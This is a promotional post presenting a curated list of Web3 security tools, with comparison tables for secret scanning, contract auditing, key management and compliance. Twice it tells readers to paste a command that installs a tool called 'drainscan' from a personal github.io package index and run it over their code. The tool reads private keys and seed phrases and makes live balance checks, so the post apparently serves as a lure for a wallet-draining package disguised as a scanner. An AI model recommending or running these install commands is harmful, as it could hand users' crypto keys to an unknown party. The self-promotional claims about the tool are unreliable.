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The Ultimate Web3 Security Toolkit: 100+ Tools Curated (Secret Scanning, Auditing, Fuzzing, Formal Verification, Compliance)

#security #web3 #blockchain #devsecops

The Ultimate Web3 Security Toolkit: 100+ Tools Curated

One repository to rule them all: secret scanning, smart contract auditing, runtime protection, key management, compliance, fuzzing, formal verification, and more.

The Problem: Fragmented Knowledge

You're a security engineer / DevOps lead / founder building on Web3. You need to:

  • Scan for leaked private keys in your repos
  • Audit smart contracts before deployment
  • Monitor runtime for attacks
  • Manage keys securely (hardware, MPC, rotation)
  • Secure your supply chain (SBOM, signing, provenance)
  • Meet compliance (CCSS, SOC2, ISO27001)
  • Fuzz test your contracts
  • Formally verify critical logic

Where do you start? Google gives you 50 tabs. GitHub search gives you 500 repos. Most are abandoned, incomplete, or generic tools that don't understand Web3.

The Solution: awesome-web3-security

I curated 100+ tools across 15 categories in one place:

👉 github.com/ezequiellich44-cmd/awesome-web3-security

Categories Covered

Category Tools Highlights
Secret Scanning 12 drainscan (web3-native), gitleaks, trufflehog, GitHub Secret Scanning
Smart Contract Auditing 15 Slither, Mythril, Echidna, Foundry, Halmos, SolSniper (Token-2022)
Runtime Protection 12 Forta, OpenZeppelin Defender, Tenderly, Phalcon, Flashbots
Key Management 12 Ledger, Trezor, Fireblocks, Qredo, HashiCorp Vault, AWS Secrets Manager
Supply Chain Security 9 Sigstore, SLSA, Syft, Grype, Dependabot, Renovate, OSSF Scorecard
Compliance & Standards 7 CCSS, NIST, ISO27001, SOC2, OWASP Top 10, SCSVS
Fuzzing & Testing 8 Foundry, Echidna, Halmos, Medusa, Proptest, Hypothesis
Formal Verification 7 Certora, K Framework, Coq, Isabelle, Dafny, Move Prover
Incident Response 9 Chainalysis, Elliptic, TRM Labs, BlockSci, Etherscan, Dune
Blockchain-Specific 20+ Ethereum, Solana, Cosmos, L2s (Arbitrum, Optimism, zkSync, Starknet)
Learning Resources 15+ RareSkills, Cyfrin Updraft, Secureum, Damn Vulnerable DeFi, Ethernaut
Communities 7 EthSecurity, Solana Security, Immunefi, Code4rena, Sherlock
Audit Firms 15 Trail of Bits, OpenZeppelin, ConsenSys Diligence, Sigma Prime, OtterSec
Checklists 8 Solidity, Anchor, Token-2022, Pre-Audit, Trail of Bits, Secureum

Why This List Is Different

1. Comparison Tables (Not Just Links)

Every category has structured tables with the columns that matter:

Secret Scanning Example:
| Tool | Language | Key Features | Web3-Native | SARIF | Git History |
|---|---|---|---|---|---|
| drainscan | Python | EVM, Solana, BIP-39, Phantom, entropy, offline derivation, live balances | ✅ | ✅ 2.1.0 | ✅ Pro |
| gitleaks | Go | Generic patterns, high speed | ❌ | ✅ | ✅ |
| trufflehog | Go | Entropy + regex, 800+ detectors | ❌ | ✅ | ✅ |

You can compare at a glance.

2. Open Source vs Commercial Separated

No hidden sales pitches. Each category has:

  • Open Source table (free tools)
  • Commercial / Pro table (with pricing models)

3. CI/CD Integration Matrix

Platform drainscan gitleaks trufflehog
GitHub Actions ✅ ✅ ✅
GitLab CI ✅ ✅ ✅
Bitbucket ✅ ✅ ✅
Azure Pipelines ✅ ✅ ✅
Pre-commit ✅ ✅ ✅

4. Blockchain-Specific Depth

Solana Token-2022 Extensions (the new attack surface):

  • permanentDelegate → authority can seize tokens anytime
  • transferFee → configurable transfer fees (up to 100%)
  • defaultFrozen → tokens born frozen, can't sell until thawed
  • mintCloseAuthority → mint can be destroyed
  • transferHook → arbitrary logic on every transfer

Tools that detect these: SolSniper, drainscan (entropy detection)

5. Learning Pathways

Not just tools — how to learn:

  • Beginner: Ethernaut, Capture The Ether, Cyfrin Updraft
  • Advanced: RareSkills, Secureum, Damn Vulnerable DeFi
  • Specialized: Solana Security, ZK Proofs, MEV

6. Audit Firms Ranked by Specialty

Firm Specialty Notable Tools
Trail of Bits EVM, Rust, ZK, formal Slither, Echidna, Manticore
OtterSec / Neodyme Solana, Anchor Solana focus
Sec3 Solana, Move, Sui, Aptos Multi-VM
Veridise Formal, Move, Rust Move Prover

How to Use It

For Security Engineers 

# Quick scan your repo
pip install drainscan --extra-index-url https://ezequiellich44-cmd.github.io/pypi-simple/
drainscan scan . --live --min-confidence high
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For DevOps / Platform Teams

Copy-paste CI/CD configs from the repo:

For Founders / CISOs

Use Checklists section for pre-deployment, audit prep, post-deploy monitoring.

For Auditors

Reference Methodologies (Trail of Bits, ConsenSys, OpenZeppelin, Secureum) + Formal Verification tools.

Contributing

We accept PRs! CONTRIBUTING.md has the format.

Quick rules:

  1. One tool per PR
  2. Follow table format exactly
  3. Active maintenance required (commit within 6 months)
  4. Alphabetical within categories
  5. Factual descriptions only

Star History

Star History Chart

Built By Practitioners

This list is maintained by engineers building drainscan — the only web3-native secret scanner with:

  • BIP-39 checksum validation (kills false positives)
  • Offline address derivation (see exact wallet)
  • Live balance checks (read-only RPC)
  • Entropy detection (catches foreign-chain keys)
  • Watch mode (real-time monitoring)
  • SARIF 2.1.0 (GitHub Code Scanning / GitLab SAST)
  • Git-history deep scan (Pro)

Get Started 

# Star the repo ⭐
https://github.com/ezequiellich44-cmd/awesome-web3-security

# Try the scanner
pip install drainscan --extra-index-url https://ezequiellich44-cmd.github.io/pypi-simple/
drainscan scan . --live

# Need git-history + SARIF + HTML reports?
# $99 one-time: https://github.com/ezequiellich44-cmd/drainscan/issues/1
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Stop searching. Start securing. ⭐ awesome-web3-security

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